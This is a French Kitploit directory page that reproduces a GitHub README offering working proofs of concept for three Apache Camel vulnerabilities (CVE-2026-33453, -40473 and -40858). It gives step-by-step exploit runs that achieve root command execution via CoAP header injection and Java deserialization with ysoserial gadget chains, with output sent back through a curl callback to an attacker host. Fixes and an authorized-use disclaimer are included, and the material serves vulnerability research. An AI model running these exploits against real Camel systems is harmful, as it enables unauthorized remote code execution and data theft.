Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
Outils/GitHubGitHub/dinosn/cve-2026-33453
Analyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionApprentissage et ÉducationRed TeamingExploitation de Binaires
GitHubdinosn/cve-2026-33453

CVE-2026-33453

Fournit des preuves de concept fonctionnelles et une analyse détaillée pour trois vulnérabilités critiques d'Apache Camel, notamment l'injection d'en-têtes CoAP et la désérialisation non sécurisée menant à l'exécution de code à distance.

Voir le dépôt
il y a 4 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Apache Camel 4.18.0 — Évaluation de sécurité CVE

Trois vulnérabilités critiques dans Apache Camel 4.18.0, découvertes et validées indépendamment avec des preuves de concept fonctionnelles.

CVEComposantTypeCVSSVerdict
CVE-2026-33453camel-coapInjection d'en-tête → RCE10.0 CritiqueExploitable
CVE-2026-40473camel-minaDésérialisation non sécurisée → RCE9.8 CritiqueExploitable
CVE-2026-40858camel-infinispanDésérialisation non sécurisée8.8 ÉlevéExploitable

CVE-2026-33453 : Injection d'en-tête CoAP → Exécution de code à distance

Composant : camel-coap — CamelCoapResource.java:103-109 CWE : CWE-915 (Modification incorrectement contrôlée des attributs d'objets) Corrigé dans : Camel 4.18.1 / 4.14.6

Cause racine

CamelCoapResource.handleRequest() mappe directement les paramètres de requête URI CoAP dans les en-têtes Camel Exchange via setHeader() sans HeaderFilterStrategy. CoAPEndpoint étend DefaultEndpoint au lieu de DefaultHeaderFilterStrategyEndpoint, de sorte que les en-têtes internes préfixés Camel* peuvent être injectés par n'importe quel client non authentifié.

Lorsque la route transmet à camel-exec, les en-têtes CamelExecCommandExecutable et CamelExecCommandArgs contrôlés par l'attaquant remplacent la commande configurée, permettant une RCE pré-authentifiée via un seul paquet UDP.

root@kitploit:~
// CamelCoapResource.java:103-109 — AUCUN HeaderFilterStrategy
for (String s : options.getUriQuery()) {
    int i = s.indexOf('=');
    if (i == -1) {
        camelExchange.getIn().setHeader(s, "");
    } else {
        camelExchange.getIn().setHeader(s.substring(0, i), s.substring(i + 1));
    }
}

Résultat du PoC

PoC RCE CoAP

root@kitploit:~
$ python3 exploits/exploit_cve_2026_33453_coap.py 127.0.0.1 'cat /etc/hostname'
[+] Réponse : 2.05
[+] Sortie de commande : cf6ee154412e

$ python3 exploits/exploit_cve_2026_33453_coap.py 127.0.0.1 'ls /'
[+] Sortie de commande : app bin boot dev etc home lib ...

CVE-2026-40473 : Désérialisation non sécurisée MINA → Exécution de code à distance

Composant : camel-mina — MinaConverter.java:60-63 CWE : CWE-502 (Désérialisation de données non fiables) Corrigé dans : Camel 4.18.2 / 4.14.6 / 4.20.0

Cause racine

MinaConverter.toObjectInput(IoBuffer) crée un java.io.ObjectInputStream brut sans ObjectInputFilter. Lorsqu'un point de terminaison MINA est configuré avec allowDefaultCodec=false, les données TCP brutes arrivent sous forme d'IoBuffer et atteignent le convertisseur de types Camel, qui appelle cette méthode — enveloppant les octets réseau contrôlés par l'attaquant dans un ObjectInputStream non filtré.

root@kitploit:~
// MinaConverter.java:60-63 — AUCUN ObjectInputFilter
@Converter
public static ObjectInput toObjectInput(IoBuffer buffer) throws IOException {
    InputStream is = toInputStream(buffer);
    return new ObjectInputStream(is);  // octets contrôlés par l'attaquant, AUCUN FILTRE
}

Chemin d'attaque : L'exploit cible un point de terminaison TCP MINA avec allowDefaultCodec=false (port 9879 dans le PoC). Cela contourne entièrement la couche de codec MINA — le ObjectSerializationCodecFactory possède sa propre liste blanche ClassNameMatcher qui bloquerait autrement les classes arbitraires. Avec le codec désactivé, les octets bruts circulent directement vers MinaConverter.toObjectInput() qui crée un ObjectInputStream standard sans aucun filtrage de classes.

Une chaîne de gadgets CommonsCollections6 (via ysoserial) permet l'exécution de commandes arbitraires en tant que root. La sortie de commande est exfiltrée via un rappel curl vers l'attaquant.

Résultat du PoC

PoC RCE MINA

root@kitploit:~
$ python3 exploits/exploit_cve_2026_40473_mina.py 127.0.0.1 9879 id
[+] Sortie de commande :
    uid=0(root) gid=0(root) groups=0(root)
[+] CONFIRMÉ : CVE-2026-40473 RCE — commande exécutée via désérialisation

$ python3 exploits/exploit_cve_2026_40473_mina.py 127.0.0.1 9879 'uname -a'
[+] Sortie de commande :
    Linux 8b1462d5c89d 6.12.76-linuxkit #1 SMP Sun Mar  8 14:41:59 UTC 2026 aarch64 GNU/Linux

Reproduction de CVE-2026-40473 étape par étape

Prérequis

  • Docker et Docker Compose
  • Python 3.8+
  • Java 17+ (pour ysoserial)
  • ysoserial — ysoserial-all.jar (gadget CommonsCollections6)

Étape 1 : Construire et démarrer le serveur vulnérable

root@kitploit:~
cd poc/
docker compose up -d --build

Attendez que le conteneur démarre, puis vérifiez :

root@kitploit:~
docker logs vuln-camel-mina

Vous devriez voir :

Configuration MINA

root@kitploit:~
[*] Serveur MINA vulnérable démarré
[*] Port 9877 : point de terminaison transferExchange (désérialisation Java)
[*] Port 9878 : point de terminaison codec de sérialisation d'objets
[*] Port 9879 : TCP brut (MinaConverter.toObjectInput) point de terminaison
[*] En attente de connexions...

Le port 9879 est la cible — il utilise allowDefaultCodec=false, ce qui désactive le filtre de codec MINA et permet à l'IoBuffer brut d'atteindre le MinaConverter.toObjectInput() non filtré de Camel.

Étape 2 : Confirmer la désérialisation (mode sonde)

Tout d'abord, vérifiez que le point de terminaison accepte et désérialise des objets Java arbitraires sans ObjectInputFilter :

root@kitploit:~
python3 poc/exploits/exploit_cve_2026_40473_mina.py 127.0.0.1 9879 --probe

Sonde MINA

root@kitploit:~
[*] Mode sonde — confirmation de la désérialisation (sans RCE)
[*] Charge utile : HashMap (82 octets, brut — sans trame MINA)
[+] Connecté au point de terminaison MINA
[+] Charge utile envoyée
[+] Les données ont atteint readObject() sans rejet de filtre

La sonde envoie un HashMap sérialisé. Le serveur le désérialise via ObjectInputStream.readObject() sans InvalidClassException — confirmant l'absence totale de filtrage de classes.

Étape 3 : Exécuter des commandes (RCE complète)

Avec ysoserial disponible, exploitez la désérialisation non filtrée pour l'exécution de commandes arbitraires :

root@kitploit:~
# Exécutez 'id' — renvoie uid=0(root)
python3 poc/exploits/exploit_cve_2026_40473_mina.py 127.0.0.1 9879 id

# Lire des fichiers
python3 poc/exploits/exploit_cve_2026_40473_mina.py 127.0.0.1 9879 'cat /etc/hostname'

# Informations système
python3 poc/exploits/exploit_cve_2026_40473_mina.py 127.0.0.1 9879 'uname -a'

L'exploit génère une chaîne de gadgets CommonsCollections6, l'envoie sous forme d'octets bruts au port 9879 et capture la sortie de commande via un écouteur de rappel curl.

Options de l'exploit

root@kitploit:~
usage: exploit_cve_2026_40473_mina.py [-h] [--ysoserial PATH] [--callback-host HOST]
                                       [--gadget GADGET] [--probe] [--raw]
                                       target [port] [command]

  target           IP/nom d'hôte cible
  port             Port TCP MINA (défaut : 9879)
  command          Commande à exécuter (défaut : id)
  --ysoserial      Chemin vers ysoserial.jar (détection automatique si non défini)
  --callback-host  Hôte que le conteneur utilise pour vous joindre (défaut : host.docker.internal)
  --gadget         Chaîne de gadgets ysoserial (défaut : auto — essaie CC6, CC5, CC1)
  --probe          Mode sonde uniquement — confirme la désérialisation sans RCE
  --raw            Envoyer la charge utile brute sans trame MINA de 4 octets (auto-activé pour le port 9879)

Remarque : Le --callback-host par défaut est host.docker.internal (Docker Desktop). Si vous utilisez Linux sans Docker Desktop, utilisez --callback-host 172.17.0.1 ou votre adresse IP de pont Docker.

Étape 4 : Nettoyage

root@kitploit:~
cd poc/
docker compose down

CVE-2026-40858 : Désérialisation non sécurisée Infinispan

Composant : camel-infinispan — DefaultExchangeHolderUtils.java:46-53 CWE : CWE-502 (Désérialisation de données non fiables) Corrigé dans : Camel 4.18.2 / 4.14.7 / 4.20.0

Cause racine

DefaultExchangeHolderUtils.deserialize(byte[]) crée un ClassLoadingAwareObjectInputStream sans ObjectInputFilter. Le DefaultExchangeHolderProtoAdapter achemine les octets du cache Infinispan directement vers cette méthode. Un attaquant disposant d'un accès en écriture au cache (port Hot Rod 11222 ou API REST) injecte une charge utile sérialisée malveillante qui est désérialisée lorsque le référentiel d'agrégation récupère la clé.

Il s'agit du même modèle de vulnérabilité que CVE-2024-22369, CVE-2024-23114 et CVE-2026-25747 — toutes des instances non corrigées de readObject() sans ObjectInputFilter dans les chemins de désérialisation de Camel.

root@kitploit:~
// DefaultExchangeHolderUtils.java:46-53 — AUCUN ObjectInputFilter
static DefaultExchangeHolder deserialize(byte[] bytes) {
    try (ByteArrayInputStream bais = new ByteArrayInputStream(bytes);
         ObjectInputStream ois = new ClassLoadingAwareObjectInputStream(bais)) {
        return (DefaultExchangeHolder) ois.readObject();  // contrôlé par l'attaquant
    }
}

Code vulnérable

Code vulnérable Infinispan


Code vulnérable annoté

Code vulnérable annoté


Reproduction des trois CVE

Prérequis

  • Docker et Docker Compose
  • Python 3.8+
  • Java 17+ (pour ysoserial)
  • ysoserial pour les chaînes de gadgets RCE complètes (CVE-2026-40473)

Construction et exécution

root@kitploit:~
cd poc/
docker compose up -d --build

Cela démarre :

  • vuln-camel-coap — point de terminaison CoAP sur le port UDP 5683 avec route camel-exec
  • vuln-camel-mina — points de terminaison TCP MINA sur les ports 9877 (transferExchange), 9878 (ObjectSerializationCodecFactory) et 9879 (TCP brut — cible d'attaque principale)
  • infinispan — serveur Infinispan sur le port 11222
  • vuln-camel-infinispan — référentiel d'agrégation Camel adossé à Infinispan

Exécution des exploits

root@kitploit:~
# CVE-2026-33453 : Injection d'en-tête CoAP → RCE
python3 poc/exploits/exploit_cve_2026_33453_coap.py 127.0.0.1 'id'

# CVE-2026-40473 : Désérialisation non sécurisée MINA → RCE (voir instructions détaillées ci-dessus)
python3 poc/exploits/exploit_cve_2026_40473_mina.py 127.0.0.1 9879 id

# CVE-2026-40858 : Désérialisation non sécurisée Infinispan
python3 poc/exploits/exploit_cve_2026_40858_infinispan.py 127.0.0.1 11222

Nettoyage

root@kitploit:~
cd poc/
docker compose down

Processus d'évaluation

Cette évaluation a été réalisée à l'aide du framework de recherche de sécurité autonome RAPTOR :

  1. Recherche — Identification des 3 CVE, recoupement des commits de correctifs pour déterminer Apache Camel 4.18.0 comme unique version vulnérable
  2. Acquisition des sources — Téléchargement des composants vulnérables via git sparse-checkout (camel-coap, camel-mina, camel-infinispan)
  3. Analyse (/scan) — Découverte automatisée des vulnérabilités sur les 3 composants
  4. Compréhension (/understand --map) — Cartographie de la surface d'attaque : points d'entrée, frontières de confiance, puits, flux de données non vérifiés
  5. Validation (/validate) — Pipeline complet de validation d'exploitabilité en 8 étapes (Étapes 0 → A → B → C → D → E → F → 1) confirmant que les 3 découvertes sont réelles, atteignables et exploitables
  6. Exploitation (/exploit) — Développement de PoC fonctionnels avec environnement de test basé sur Docker
  7. Documentation — Captures d'écran, rapport d'exploit et ce README

Correctifs

CVEVersion corrigéeModification
CVE-2026-334534.18.1 / 4.14.6CoAPEndpoint → étend DefaultHeaderFilterStrategyEndpoint ; CoAPComponent → implémente HeaderFilterStrategyComponent
CVE-2026-404734.18.2 / 4.14.6 / 4.20.0Ajout de ObjectInputFilter.Config.createFilter("java.**;javax.**;org.apache.camel.**;!*") avant readObject()
CVE-2026-408584.18.2 / 4.14.7 / 4.20.0Ajout d'une liste blanche ObjectInputFilter (même modèle) ; repli sur le filtre de sérialisation JVM si configuré

Avertissement

Cette recherche est destinée aux tests de sécurité autorisés et à des fins éducatives uniquement. Tous les exploits ont été testés contre des conteneurs Docker construits localement exécutant des logiciels vulnérables. Mettez à niveau vers les versions corrigées listées ci-dessus.

Télécharger l’outil